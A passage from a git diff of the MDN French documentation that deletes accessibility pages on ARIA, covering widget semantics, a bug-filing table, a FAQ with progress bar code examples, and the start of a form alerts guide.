files/fr/web/xslt/strip-space/index.html delete mode 100644 files/fr/web/xslt/stylesheet/index.html delete mode 100644 files/fr/web/xslt/template/index.html delete mode 100644 files/fr/web/xslt/text/index.html delete mode 100644 files/fr/web/xslt/transform/index.html delete mode 100644 files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html delete mode 100644 files/fr/web/xslt/transformations_xml_avec_xslt/index.html delete mode 100644 "files/fr/web/xslt/transformations_xml_avec_xslt/la_r\303\251f\303\251rence_xslt_xpath_de_netscape/index.html" delete mode 100644 "files/fr/web/xslt/transformations_xml_avec_xslt/pr\303\251sentation/index.html" create mode 100644 files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.html create mode 100644 files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html create mode 100644 files/fr/web/xslt/transforming_xml_with_xslt/index.html create mode 100644 files/fr/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html create mode 100644 files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html delete mode 100644 files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html delete mode 100644 files/fr/web/xslt/value-of/index.html delete mode 100644 files/fr/web/xslt/variable/index.html delete mode 100644 files/fr/web/xslt/when/index.html delete mode 100644 files/fr/web/xslt/with-param/index.html create mode 100644 files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.html create mode 100644 files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.html create mode 100644 files/fr/web/xslt/xslt_js_interface_in_gecko/index.html create mode 100644 files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.html create mode 100644 files/fr/web/xslt/xslt_js_interface_in_gecko/resources/index.html create mode 100644 files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.html delete mode 100644 files/fr/webapi/detecting_device_orientation/index.html delete mode 100644 files/fr/webapi/index.html delete mode 100644 files/fr/webapi/network_information/index.html delete mode 100644 files/fr/webapi/pointer_lock/index.html delete mode 100644 files/fr/webapi/proximity/index.html delete mode 100644 "files/fr/webapi/utiliser_les_\303\251v\303\251n\303\251ments_de_luminosit\303\251/index.html" delete mode 100644 files/fr/webrtc/communication-de-pair-a-pair-avec-webrtc/index.html delete mode 100644 files/fr/webrtc/index.html delete mode 100644 files/fr/webrtc/introduction/index.html delete mode 100644 files/fr/webrtc/mediastream_api/index.html delete mode 100644 files/fr/webrtc/prendre_des_photos_avec_la_webcam/index.html delete mode 100644 files/fr/xhtml/index.html delete mode 100644 files/fr/xmlserializer/index.html delete mode 100644 files/fr/xpcom/liaisons_de_langage/objet_components/index.html delete mode 100644 files/fr/xpcom/reference/standard_xpcom_components/index.html delete mode 100644 "files/fr/xslt_dans_gecko/diff\303\251rences_entre_les_navigateurs/index.html" delete mode 100644 files/fr/xslt_dans_gecko/exemple_basique/index.html delete mode 100644 "files/fr/xslt_dans_gecko/g\303\251n\303\251ration_de_html/index.html" delete mode 100644 files/fr/xslt_dans_gecko/index.html delete mode 100644 files/fr/xsltprocessor/index.html delete mode 100644 files/fr/zoom_pleine_page/index.html delete mode 100644 "files/fr/\303\240_propos_du_document_object_model/index.html" (limited to 'files/fr') diff --git "a/files/fr/accessibilit\303\251/aper\303\247u_d_applications_web_et_de_composants_dynamiques_accessibles/index.html" "b/files/fr/accessibilit\303\251/aper\303\247u_d_applications_web_et_de_composants_dynamiques_accessibles/index.html" deleted file mode 100644 index 7dcc01326a..0000000000 --- "a/files/fr/accessibilit\303\251/aper\303\247u_d_applications_web_et_de_composants_dynamiques_accessibles/index.html" +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Aperçu sur le développement des applications Web et des Widgets accessibles -slug: >- - Accessibilité/Aperçu_d_applications_Web_et_de_composants_dynamiques_accessibles -tags: - - ARIA - - Accessisibilité - - Applications Web - - Guide -translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets ---- -

Le Web est en perpétuelle évolution. En effet, les sites à contenu statique sont de plus en plus remplacés par des sites dynamiques à l’utilisation assez proche des applications de bureaux. Les sites Web dynamiques utilisent abondamment JavaScript et AJAX. Les designers créent des widgets et des éléments d'interface grâce aux langages du Web notamment HTML, CSS et Javascript. Ce tournant dans l’histoire du Web permet d'améliorer grandement l'expérience utilisateur et l'utilisation sur mobile (responsive). Mais certains utilisateurs peuvent être exclus par manque d'accessibilité. En effet, JavaScript avait la réputation d'être inaccessible aux technologies d'assistance tel que les interpréteurs d’écran. Or, il existe maintenant des techniques pour rendre le Web accessible à une large palette d’utilisateurs.

- -

Problématique

- -

La plupart des librairies JavaScript proposent des composants côté client qui miment le comportement familier des interfaces de bureaux classiques. Carrousels, barres de menu et d’autres composants peuvent être créés avec JavaScript, CSS et HTML. Mais du moment que les spécifications HTML 4 ne proposaient pas de tags pour décrire sémantiquement ce type de composants, les développeurs se contentaient d'éléments génériques tel que le tag <div> ou le tag <span>. Or, si d’apparence ces composants ressemblaient parfaitement à ceux spécifiques aux applications de bureau, on ne disposait pas d'informations sémantiques suffisantes pour les rendres accessibles aux technologies d’assistance. L’accès au contenu dynamique d’une page Web peut devenir problématique plus particulièrement pour les utilisateurs qui, pour une raison ou pour une autre ne peuvent pas voir l’écran. Les niveaux de stock, les indicateurs de progression... modifient le DOM de telle sorte que les technologies d'assistance n’y ont pas accès. C'est dans ce contexte que ARIA entre en jeu.

- -

Exemple 1: Code d’une tabulation sans informations ARIA. Il n'y a aucune information permettant de décrire la forme du widget et ses fonctions.

- -
<!-- This is a tabs widget. How would you know, looking only at the markup? -->
-<ol>
-  <li id="ch1Tab">
-    <a href="#ch1Panel">Chapitre 1</a>
-  </li>
-  <li id="ch2Tab">
-    <a href="#ch2Panel">Chapitre 2</a>
-  </li>
-  <li id="quizTab">
-    <a href="#quizPanel">Quiz</a>
-  </li>
-</ol>
-
-<div>
-  <div id="ch1Panel">Le contenu du chapitre 1 va ici</div>
-  <div id="ch2Panel">Le contenu du chapitre 2 va ici</div>
-  <div id="quizPanel">Le contenu du Quiz va ici</div>
-</div>
- -

Example 2: Telles qu'elles sont représentées ci-dessous, les tabulations peuvent être reconnues en tant que tel par les utilisateurs. Or aucune information sémantique exploitable par une technologie d’assistance n’est présente.
- Screenshot of the tabs widget

- -

ARIA

- -

WAI-ARIAI, les spécifications concernant les applications internet "riches" et accessibles sont publiées par l’iniative du W3C sur l’accessibilité, et fournissent la sémantique essentielle au bon fonctionnement des lecteurs d'écran. ARIA permet aux développeurs de décrire en quelque sorte leurs widgets plus finement en ajoutant des attributs spéciaux à leurs balises. Ces spécifications comblent le vide qui existait entre les spécifications du standard HTML et des widgets. ARIA spécifie des rôles et des états permettant de décrire en quelque sorte le fonctionnement des widgets d’interfaces utilisateurs les plus connus.

- -
-

Beaucoup d’entre eux ont été ajouté plus tard dans HTML5, et les développeurs devraient toujours préférer utiliser la balise HTML correspondante plutôt qu’utiliser ARIA.

-
- -

Les spécifications ARIA distinguent 3 types d’attributs : rôles, états et propriétés. Les rôles sont utilisés pour les widgets ne faisant pas partie des spécifications HTML 4 comme des sliders, menus, barres, boites de dialogue... Les propriétés sont utilisées pour représenter les caractéristiques de ces widgets, elles décrivent les caractéristiques de ces widgets comme s'il sont déplaçables avec la souris, requièrent un élément ou ont un popup associés à eux. Les états, comme leur nom l'indique, servent à representer l'état actuel de ces éléments en informant les technologies d'assistance s'il est occupé, désactivé, sélectionné ou masqué.

- -

Les attributs ARIA ont été conçus de façon à être interprétés directement par les navigateurs Web et interagir directement avec les APIs d'accessibilité natives des systèmes d'exploitation. Quand les spécifications ARIA sont implementées, les technologies d'assistance peuvent interagir avec les widgets JavaScript personnalisés de la même façon qu'ils interagissent avec leurs équivalents de bureau. Les technologies d'assistance peuvent ainsi fournir une expérience utilisateur homogène.

- -

Example 3 : L'exemple ci-dessous ajoute des attributs ARIA aux balises déjà présentes.

- -
<!-- Les tabulations sont bien définies  -->
-<!-- Des attributs ARIA ont été ajoutés pour lister les différentes tabulations. -->
-<ol role="tablist">
-  <li id="ch1Tab" role="tab">
-    <a href="#ch1Panel">Chapter 1</a>
-  </li>
-  <li id="ch2Tab" role="tab">
-    <a href="#ch2Panel">Chapter 2</a>
-  </li>
-  <li id="quizTab" role="tab">
-    <a href="#quizPanel">Quiz</a>
-  </li>
-</ol>
-
-<div>
-  <!-- Remarquez les attributs role and aria-labelledby servant à décrire les tabulations. -->
-  <div id="ch1Panel" role="tabpanel" aria-labelledby="ch1Tab">Chapter 1 content goes here</div>
-  <div id="ch2Panel" role="tabpanel" aria-labelledby="ch2Tab">Chapter 2 content goes here</div>
-  <div id="quizPanel" role="tabpanel" aria-labelledby="quizTab">Contenu du Quiz;/div>
-</div>
-
- -

Les versions récentes des navigateurs majeurs du marché fournissent un support ARIA Firefox, Chrome, Safari, Internet Explorer... De nombreuses technologies d'assistance libres d’accès tel que NVDA et Orca fournissent aussi un support ARIA. Le support de ces spécifications est aussi de plus en plus présent dans les balises des librairies JavaScript : JQuery UI, YUI, Google Closure et Dojo Dijit.

- -

Les changement représentationnels

- -

Les changements représentationnels incluent l'utilisation du CSS pour changer l'apparence du contenu (mettre une bordure rouge autour de données invalides, changer la couleur de fond d’une case à cocher), le faire apparaitre ou disparaitre. 

- -

Les Changements d'états

- -

Les attributs pour décrire l’état actuel d'un widget sont fournis, par exemple :

- - - -

La liste n’est pas exhaustive. Pour voir la liste complète, consulter les spécifications des états et propriétés ARIA).

- -

Les développeurs devraient se servir des états ARIA pour indiquer l'état des widgets et utiliser les sélecteurs d'attributs CSS pour en modifier l'apparence en fonction des changements d'états plutôt qu'au moyen d'un script qui modifierait des classes sur le widget.

- -

Les changements de visibilité

- -

Lorsque la visibilité du contenu est modifiée (c'est-à-dire qu'un élément est masqué ou affiché), les développeurs doivent modifier la valeur de la propriété aria-hidden. Les techniques décrites ci-dessus doivent être utilisées pour déclarer du CSS permettant de cacher visuellement un élément en utilisant display:none.

- -

Le site Web Open Ajax Alliance fournit un exemple de tooltip qui utilise aria-hidden pour controler la visibilité du tooltip. L'exemple montre un formulaire Web simple avec des info-bulles contenant des instructions associées aux champs d’entrée.

- -

Les parties pertinentes de l'exemple sont expliquées ci-dessous.Dans cet exemple, le code HTML de l’info-bulle a le format indiqué dans l'exemple 2a. La ligne 9 définit l’état aria-hidden à true.

- -

Exemple 2a. HTML pour un tooltip (adapté de http://www.oaa-accessibility.org/example/39/).

- -
<div class="text">
-    <label id="tp1-label" for="first">First Name:</label>
-    <input type="text" id="first" name="first" size="20"
-           aria-labelledby="tp1-label"
-           aria-describedby="tp1"
-           aria-required="false" />
-    <div id="tp1" class="tooltip"
-         role="tooltip"
-         aria-hidden="true">Your first name is optional</div>
-</div>
-
- -

Le CSS pour ce balisage est montré dans l'exemple 2b. Notez qu’il n’y a pas de nom de classe personnalisé utilisé, seul le statut de l'attribut aria-hidden à la ligne 1.
- Exemple 2b. Un attribut basé sur le sélecteur indiquant l'état (tiré de http://www.oaa-accessibility.org/example/39/).

- -
div.tooltip[aria-hidden="true"] {
-  display: none;
-  }
-
- -

Le JavaScript à mettre à jour est la propriété aria-hidden du formulaire montré dans l'exemple 2c. Notez que le script met à jour seulement l'attribut aria-hidden à la (ligne 2) ; il n'y a pas besoin d'ajouter ou de supprimer un nom de classe personnalisé.

- -

Exemple 2c. JavaScript pour mettre à jour l'attribut aria-checked (basé sur http://www.oaa-accessibility.org/example/39/).

- -
var showTip = function(el) {
-  el.setAttribute('aria-hidden', 'false');
-}
- -

Les changements de rôles

- -

ARIA permet aux développeurs de déclarer un rôle sémantique pour un élément qui produirait des sémantiques fausses. Par exemple, quand une liste non ordonnée est utilisée pour créer un menu, {{ HTMLElement("ul") }} devrait avoir un role de menubar et chaque {{ HTMLElement("li") }} devrait avoir un role de menuitem. Le role d'un élément ne doit pas changer. À la place, il faut supprimer l'élément original et le remplacer par un nouveau role.

- -

Considérons une zone d’écriture, soit une zone qui permet à l’utilisateur d’éditer une partie de son texte, sans changer de contexte. Cette zone a un mode "vue", dans lequel le texte n’est pas éditable, et un mode "édition", dans lequel le texte peut être modifié. Un développeur peut être tenté d’implémenter le mode "vue" avec un texte en lecture seule via l’élément {{ HTMLElement("input") }} et en configurant le  role  ARIA à  button, puis passe au mode "édition" en rendant l’élément écrivable et en supprimant le role attribué dans le mode "édition" (puisque les éléments de type {{ HTMLElement("input") }} ont leur propre rôle sémantique).

- -

Ne faites pas ça. À la place, il vaut mieux implémenter le mode "vue" avec un autre élément, comme {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} avec un role de button, et le mode "édition" avec un élément texte {{ HTMLElement("input") }}.

- -

Mise à jour asynchrone de contenu

- -
En construction. Voir aussi Live Regions
- -

La navigation au clavier

- -

Souvent, les développeurs négligent la prise en charge du clavier lorsqu’ils créent des widgets personnalisés. Pour être accessible à une large gamme d’utilisateurs, toutes les fonctionnalités d’une application Web ou d’un widget doivent également pouvoir être contrôlées avec le clavier, sans nécessiter de souris. En pratique, cela implique généralement de suivre les conventions prises en charge par des widgets similaires sur le bureau, en tirant pleinement partie des touches Tab, Entrée, Espace et des flèches.

- -

Traditionnellement, la navigation au clavier sur le Web était limitée à la touche Tabulation. Un utilisateur appuie sur Tab pour faire la mise au point de chaque lien, bouton ou formulaire sur la page dans un ordre linéaire, en utilisant Maj+Tab pour revenir en arrière. C’est une forme unidimensionnelle de navigation en avant ou en arrière, un élément à la fois. Sur les pages assez denses, un utilisateur clavier doit souvent appuyer plusieurs fois sur la touche Tab avant d’accéder à la section requise. La mise en œuvre de conventions de clavier de type bureautique sur le Web peut considérablement accélérer la navigation pour de nombreux utilisateurs.

- -

Voici un résumé de la façon dont la navigation au clavier devrait fonctionner dans une application Web compatible ARIA :

- - - -

Ainsi, pour l’exemple de widget Tabs ci-dessus, l’utilisateur devrait être capable de naviguer dans le conteneur du widget (le <ol> dans notre balisage) en utilisant les touches Tab et Maj+Tab. Une fois que le focus du clavier est à l’intérieur du conteneur, les touches fléchées devraient permettre à l’utilisateur de naviguer entre chaque onglet (les éléments <li>). De là, les conventions varient d’une plateforme à l’autre. Sous Windows, l’onglet suivant doit être automatiquement activé lorsque l’utilisateur appuie sur les touches fléchées. Sous Mac OS X, l’utilisateur peut appuyer sur Entrée ou sur Espace pour activer l’onglet suivant. Un tutoriel en profondeur pour créer Widget navigables grâce à des contrôles Javascript comme décrit ici afin de montrer comment avoir ce comportement en JS.

- -

Pour plus de détails à propos de ces conventions de navigation au clavier, un aperçu ici DHTML style guide est disponible. Il délivre un aperçu de la façon dont la navigation au clavier devrait fonctionner pour chaque type de widget pris en charge par ARIA. Le W3C offre également un document utile ARIA Best Practices qui inclut la navigation au clavier et les raccourcis pour une variété de widgets.

- -

Voir aussi

- - diff --git "a/files/fr/accessibilit\303\251/aria/comment_deposer_un_bug_lie_a_aria/index.html" "b/files/fr/accessibilit\303\251/aria/comment_deposer_un_bug_lie_a_aria/index.html" deleted file mode 100644 index 503d23637e..0000000000 --- "a/files/fr/accessibilit\303\251/aria/comment_deposer_un_bug_lie_a_aria/index.html" +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Comment déposer un bug lié à ARIA -slug: Accessibilité/ARIA/Comment_deposer_un_bug_lie_a_ARIA -tags: - - ARIA - - Bugzilla -translation_of: Web/Accessibility/ARIA/How_to_file_ARIA-related_bugs ---- -

L'état de la technologie ARIA a toujours dépendu de la communauté. Si vous remarquez un problème d'implémentation, veuillez prendre un instant pour en informer les développeurs. Voici comment déposer les bugs :

- -
Quand vous trouvez un bug, veuillez en aviser les tables de compatibilité liées dans la page des exemples.
- -

A faire : ajouter la bon lien d'accessibilité à la table

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
GenreProgrammeOù déposerNotes
Lecteurs d'écran -

Freedom Scientific JAWS

- 		formulaire de support technique JAWS
GW Micro Window Eyescommentaires, questions et retours Window-Eyes (email) 
Non Visual Desktop Access (NVDA)Déposer un bug NVDA (github)Discuter des problèmes NVDA
OrcaDéposer un bug Orca 
NavigateursApple SafariDéposer un bug WebKit.org 
Google ChromeDéposer un bug Chromium 
-

Microsoft Internet Explorer

- 		Déposer un bug IEVoir les bugs ARIA Firefox existants
Mozilla Firefox -

Déposer un bug Firefox

- 		-

Utiliser le composant : Disability Access APIs

-
OperaDéposer un bug OperaMarquer [ARIA] dans le sommaire
Librairies JSDojo ToolkitDéposer un bug DojoMarquer [Accessibilité] dans le champ composant
Google Web Toolkit (GWT)Déposer un bug GWT 
Yahoo User InterfaceDéposer un bug YUIDéposer contre le composant associé dans la combobox catégorie et inclure [ARIA] dans le sommaire
diff --git "a/files/fr/accessibilit\303\251/aria/faq_applications_web_et_aria/index.html" "b/files/fr/accessibilit\303\251/aria/faq_applications_web_et_aria/index.html" deleted file mode 100644 index 01b32548d2..0000000000 --- "a/files/fr/accessibilit\303\251/aria/faq_applications_web_et_aria/index.html" +++ /dev/null @@ -1,305 +0,0 @@ ---- -title: FAQ Applications Web et ARIA -slug: Accessibilité/ARIA/FAQ_Applications_Web_et_ARIA -tags: - - ARIA - - Accessibilité - - Développement Web - - À relire -translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ ---- -

Qu’est-ce qu’ARIA ?

- -

WAI-ARIA est la spécification Applications Internet Riches Accessibles de la Web Accessibility Initiative (Initiative pour l’accessibilité du Web) du W3C. ARIA fournit des moyens de rendre plus accessible les applications Web et les composants dynamiques à une plus grande part des utilisateurs, y compris ceux utilisant des technologies d’assistance telles que les lecteurs d’écrans ou les agrandisseurs.

- -

ARIA fournit des éléments sémantiques additionnels afin de décrire les rôles, les états et la fonction de nombreux contrôles d’interfaces utilisateurs répandus, tels que les menus, les curseurs, les arbres et les dialogues. Il fournit également des informations structurelles supplémentaires, permettant aux auteurs d’identifier des points de repère, des zones et des grilles dans leurs pages Web. ARIA permet aux applications et aux composants JavaScript dynamiques d’interagir avec une grande variété de technologies d’assistance de bureau.

- -

Pour plus d’informations sur la création de composants dynamiques accessibles avec ARIA, lire l’article Aperçu d’applications Web et de composants dynamiques accessibles.

- -

Où ARIA est-il pris en charge ?

- -

ARIA est une spécification relativement récente, mais son implémentation se développe. Une large variété de navigateurs communément utilisés, de technologies d’assistance, de kits de développements JavaScript et d’applications prennent maintenant en charge ARIA. Toutefois, de nombreux utilisateurs peuvent encore utiliser d’anciennes versions de ces technologies. Vous devrez sans doute considérer l’implémentation d’ARIA à l’aide des techniques d’améliorations progressives – telle qu’ajouter ARIA en utilisant JavaScript, mais pas directement dans votre balisage – afin de prendre en charge de manière plus élégante les vieux navigateurs et les anciennes technologies d’assistance.

- - - -

ARIA est pris en charge dans les navigateurs suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurVersion minimaleNotes
Firefox3.0+Fonctionne avec NVDA, JAWS 10+ et Orca
ChromeDernièrePrise en charge encore expérimentale des lecteurs d’écran jusqu’à Chrome 15
Safari4+La prise en charge par Safari 5 est grandement améliorée.
- La prise en charge des zones live requiert Safari 5 avec VoiceOver sur iOS5 ou OS X Lion
Opera9.5+Requiert VoiceOver sous OS X. À définir : comment cela fonctionne-t-il actuellement ?
Internet Explorer8+Fonctionne avec JAWS 10+ et NVDA. Pas de prise en charge des zones live dans NVDA.
- La prise en charge dans IE9 est grandement améliorée.
- -

Dans certains cas, les versions les plus jeunes peuvent prendre en charge certaines fonctionnalités d’ARIA. Des tableaux de compatibilité des navigateurs peuvent être consultés depuis différentes sources :

- - - -

Technologies d’assistance

- -

Les technologies d’assistance adoptent de plus en plus ARIA. Certaines d’entre elles sont :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Technologies d’assistanceVersion minimale pour un ARIA de baseVersion minimale pour la prise en charge des zones live et des alertes
NVDA2010.2
- (NVDA propose toujours des mises à jour gratuites)		2011.1 pour Firefox, pas de prise en charge des zones live dans IE avant 2011.2.
Orca? (À définir)? (À définir)
VoiceOverOSX 10.5,
- iOS 4		OS X 10.7
- iOS 5
JAWS810
Window-Eyes7Pas de prise en charge des zones live
ZoomText?Pas de prise en charge des zones live
- -

Note : Les versions antérieures de ces outils ont souvent des implémentation d’ARIA partielles et défaillantes.

- -

For notes on JAWS support for ARIA as of JAWS 10, lire cet article du groupe Paciello : JAWS Support for ARIA.

- -

Kits de développement JavaScript

- -

Les rôles, les états et les propriétés ARIA ont été ajoutées à de nombreux kits de développements d’interfaces utilisateur JavaScript, y compris :

- - - -

Pour plus d’informations sur l’accessibilité des kits de développement JavaScript :

- - - -

Pouvez-vous me montrez un exemple d’ARIA en action ?

- -

Voici le code HTML pour une barre de progression :

- -
<div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" />
-
- -

Cette barre de progression est construite à l’aide de l’élément <div>, qui n’est pas des plus descriptif. Malheureusement, en HTML4 il n’existe pas de balise plus sémantique pour les développeurs, aussi avons nous besoin d’inclure les rôles et les propriétés ARIA. Ils sont spécifiés en ajoutant des attributs à l’élément <div>. Dans cet exemple, l’attribut role="progressbar" informe le navigateur que cet élément est actuellement un composant de barre de progression codé en JavaScript. Les attributs aria-valuemin et aria-valuemax spécifient les valeurs limites de la barre de progression, et aria-valuenow décrit a valeur courante.

- -

Plutôt que de les intégrer directement dans le balisage, les attributs ARIA sont généralement ajoutés à l’élément et dynamiquement actualisés à l’aide de code JavaScript tel que celui-ci :

- -
// Trouver le <div> de la barre de progression dans le DOM.
-var progressBar = document.getElementById("percent-loaded");
-
-// Définition de ses rôles et états ARIA ,
-// pour que les technologies d’assistance sachent quel type de composant il s’agit.
-progressBar.setAttribute("role", "progressbar");
-progressBar.setAttribute("aria-valuemin", 0);
-progressBar.setAttribute("aria-valuemax", 100);
-
-// Création d’une fonction qui peut être appelée à n’importe quel moment
-// pour actualiser la valeur de la barre de progression.
-function updateProgress(percentComplete) {
-  progressBar.setAttribute("aria-valuenow", percentComplete);
-}
- -

L’ajout d’ARIA changera-t-il le style ou le comportement de mes pages ?

- -

Non, ARIA n’est rendu disponible que pour les APIs des technologies d’assistance, et n’affecte pas les fonctionnalités natives du navigateur en respectant le DOM ou les styles. Du point de vue des navigateurs, le HTML natif définit le sens et le comportement sémantique d’un élément, et les attributs ARIA agissent comme une surcouche permettant de prendre en charge les APIs des technologies d’assistance. Bien qu’ARIA ne modifiera aucun style par lui-même, comme pour tous les attributs HTML les CSS peuvent profiter des attributs ARIA comme sélecteurs d’élément. Ceci peut fournir un mécanisme pratique pour styles les composants intégrant ARIA.

- -
.tab-panel[aria-hidden="true"] {
-  display: none;
-  }
-
-.tab-panel[aria-hidden="false"] {
-  display: block;
-  }
-
- -

Qu'en est-il de la validation ?

- -

Les nouveaux attributs introduits dans ARIA, tels que les role et ceux préfixés avec aria-, ne font pas officiellement partie des spécification HTML 4 ou XHTML 4. À ce titre, les pages comportant des éléments ARIA peuvent ne pas être valides lorsqu’on les soumet au validateur du W3C.

- -

La première solution possible à ce problème est d’éviter de placer les rôles et les états ARIA directement dans le code HTML. À la place, il faut utiliser JavaScript pour ajouter dynamiquement ARIA à votre page, tel que montré dans la réponse à la question Pouvez-vous me montrez un exemple d’ARIA en action ? ci-dessus. Votre page sera toujours théoriquement invalide, mais elle passera correctement toutes les contrôles de validation statiques.

- -

Une autre alternative est l’utilisation d’un doctype HTML5, qui prend nativement en charge . Le validateur HTML5 du W3C trouvera même pour vous les utilisations non valides d’ARIA dans les pages HTML5.

- -

Comment HTML5 s’associe-t-il avec ARIA ?

- -

HTML5 introduit de nombreuses nouvelles balises sémantiques. Certaines d’entre elles recoupent les rôles ARIA, tel que le nouvelle élément <progress>. Dans le cas où le navigateur prend en charge une balise HTML5 qui existe également dans ARIA, il n’est généralement pas nécessaire d’ajouter les rôles et les états ARIA à l’élément. ARIA comprend de nombreux rôles, états et propriétés qui ne sont pas disponibles en HTML5, aussi continueront-ils d’être utiles aux développeurs HTML5. Pour plus d’informations, Steve Faulkner a écrit un très bon aperçu des relations entre HTML5 et ARIA.

- -

Dégradation élégante de HTML5 vers ARIA

- -

Pour fournir du contenu aux navigateurs qui n’implémentent pas HTML5, vous pouvez considérer une dégradation élégante de l’utilisation d’ARIA là où c’est nécessaire. Ainsi, en utilisant l’exemple de la barre de progression, vous pouvez dégrader élégamment un role="progressbar" pour les cas où la balise <progressbar> n’est pas prise en charge.

- -

Voici un exemple de code utilisé pour une barre de progression en HTML5 :

- -
<!DOCTYPE html>
-<html>
-  <head><title>Dégrader élégamment la barre de progression</title></head>
-  <body>
-    <progress id="progress-bar" value="0" max="100">0% complété(s)</progress>
-    <button id="update-button">Actualiser</button>
- </body>
-</html>
-
- -

… et voici le code JavaScript qui assurera le fonctionnement de la barre de progression même dans les navigateurs les plus anciens :

- -
var progressBar = document.getElementById("progress-bar");
-
-// Vérifions que le navigateur implémente la balise HTML5 <progress>.
-var supportsHTML5Progress = (typeof (HTMLProgressElement) !== "undefined");
-
-function setupProgress() {
-  if (!supportsHTML5Progress) {
-    // HTML5 <progress> n’est pas implémenté dans ce navigateur, aussi
-    // avons-nous besoin d’ajouter des rôles et des états ARIA à l’élément.
-    progressBar.setAttribute("role", "progressbar");
-    progressBar.setAttribute("aria-valuemin", 0);
-    progressBar.setAttribute("aria-valuemax", 100);
-  }
-}
-
-function updateProgress(percentComplete) {
-  if (!supportsHTML5Progress) {
-    // HTML5 <progress> n’est pas implémenté dans ce navigateur,
-    // aussi avons-nous besoin de mettre à jour l’attribut aria-valuenow
-    progressBar.setAttribute("aria-valuenow", percentComplete);
-  } else {
-    // HTML5 <progress> is supported, so update the value attribute instead.
-    progressBar.setAttribute("value", percentComplete);
-  }
-
-  progressBar.textContent = percentComplete + "% complété(s)";
-}
-
-function initDemo() {
-  setupProgress(); // Setup the progress bar.
-
-  // Lier un événement clic au bouton, ce qui actualisera la barre de progression à 75%.
-  document.getElementById("update-button").addEventListener("click", function (e) {
-    updateProgress(75);
-    e.preventDefault();
-  }, false);
-}
-initDemo();
-
- -

Comment fonctionnent les technologies d’assistance ?

- -

Les technologies d’assistance utilisent une API intégrée à chaque système d’exploitation spécifiquement conçue pour décrire les rôles, les états et la structure de l’interface utilisateur d’une application. Par exemple, un lecteur d’écran utilise cette API pour lire l’interface utilisateur avec un moteur de synthèse vocale (text-to-speech), une loupe l’utilise pour mettre en évidence les zones importantes ou actives de l’écran et un clavier virtuel peut s’en servir pour fournir la disposition de clavier la plus efficace dans un contexte donné ou au contrôle d’une interface utilisateur. Les technologies d’assistance accèdent souvent au DOM d’une page au travers de cette API afin de comprendre la sémantique et les attributs de la page.

- -

ARIA fournit un pont entre le monde du DOM et le bureau. Les navigateurs exposent les éléments ARIA aux API des technologies d’assistance comme s’ils étaient des composants natifs. En conséquence, l’utilisateur a potentiellement une expérience plus cohérente là où les composants dynamiques JavaScript sont comparables sur le Web à leurs équivalents bureau.

- -

Comment tester mon utilisation d’ARIA ? Existe-t-il des outils libres ou gratuits ?

- -

Il existe plusieurs outils d’inspection et de débogage pour vous aider à tester le comportement d’ARIA :

- - - -

Il existe plusieurs lecteurs d’écran gratuits voire libre qui peuvent être utilisés pour mener des tests sur ARIA. On trouve :

- - - -

Lorsque vous effectuez des tests avec un lecteur d’écran, gardez deux points importants en tête :

- -
    -
  1. Les tests occasionnels avec un lecteur d’écran ne pourront jamais remplacer les retours d’expérience, les tests ou l’aide de véritables utilisateurs au quotidien.
    2. -
  2. L’accessibilité est plus vaste que la simple prise en charge des lecteurs d’écran. Essayez de mener des tests avec divers cas d’utilisation et techniques d’accessibilité.
    3. -
- -

Autres techniques et outils de tests pratiques pour les applications et les composants intégrant ARIA :

- - - -

Où se tiennent les discussion concernant ARIA ?

- - - -

Où peut-on en apprendre davantage à propos d’ARIA ?

- - diff --git "a/files/fr/accessibilit\303\251/aria/formulaires/alertes/index.html" "b/files/fr/accessibilit\303\251/aria/formulaires/alertes/index.html" deleted file mode 100644 index 24afd909f4..0000000000 --- "a/files/fr/accessibilit\303\251/aria/formulaires/alertes/index.html" +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Alertes -slug: Accessibilité/ARIA/formulaires/Alertes -tags: - - ARIA - - Accessibilité - - Développement Web - - Formulaire -translation_of: Web/Accessibility/ARIA/forms/alerts ---- -

Le problème

- -

Vous avez un formulaire – par exemple un formulaire de contact – pour lequel vous voulez ajouter des contrôles d’erreurs accessibles. Les problèmes les plus courants sont une adresse électronique non valide, ou un nom qui ne contient pas un nom de famille ou un prénom.

- -

Le formulaire

- -

Tout d’abord, veuillez lire la technique aria-required pour commencer, si vous ne l’avez pas déjà lu, puisque la technique abordée en est le prolongement.

- -

Voici un formulaire simple :

- -
<form method="post" action="post.php">
-<fieldset>
-    <legend>Veuillez saisir les détails du contact</legend>
-    <label for="nom">Votre nom (obligatoire):</label>
-    <input name="nom" id="nom" aria-required="true"/>
-    <br />
-    <label for="courriel">Adresse électronique (obligatoire):</label>
-    <input name="courriel" id="courriel" aria-required="true"/>
-    <br />
-    <label for="siteweb">Site Web (facultatif):</label>
-    <input name="siteweb" id="siteweb"/>
-</fieldset>
-<label for="message">Veuillez saisir votre message (obligatoire):</label>
-<br />
-<textarea name="message" id="message" rows="5" cols="80"
-        aria-required="true"></textarea>
-<br />
-<input type="submit" name="submit" value="Envoyer le message"/>
-<input type="reset" name="reset" value="Réinitialiser le formulaire"/>
-</form>
-
- -

Simple et direct, mais nous ne sommes pas là pour gagner un prix de beauté. :-)

- -

Vérification de la validité et avertissement de l’utilisateur

- -

Vérifier la validité et avertir l’utilisateur se déroule en plusieurs étapes :

- -
    -
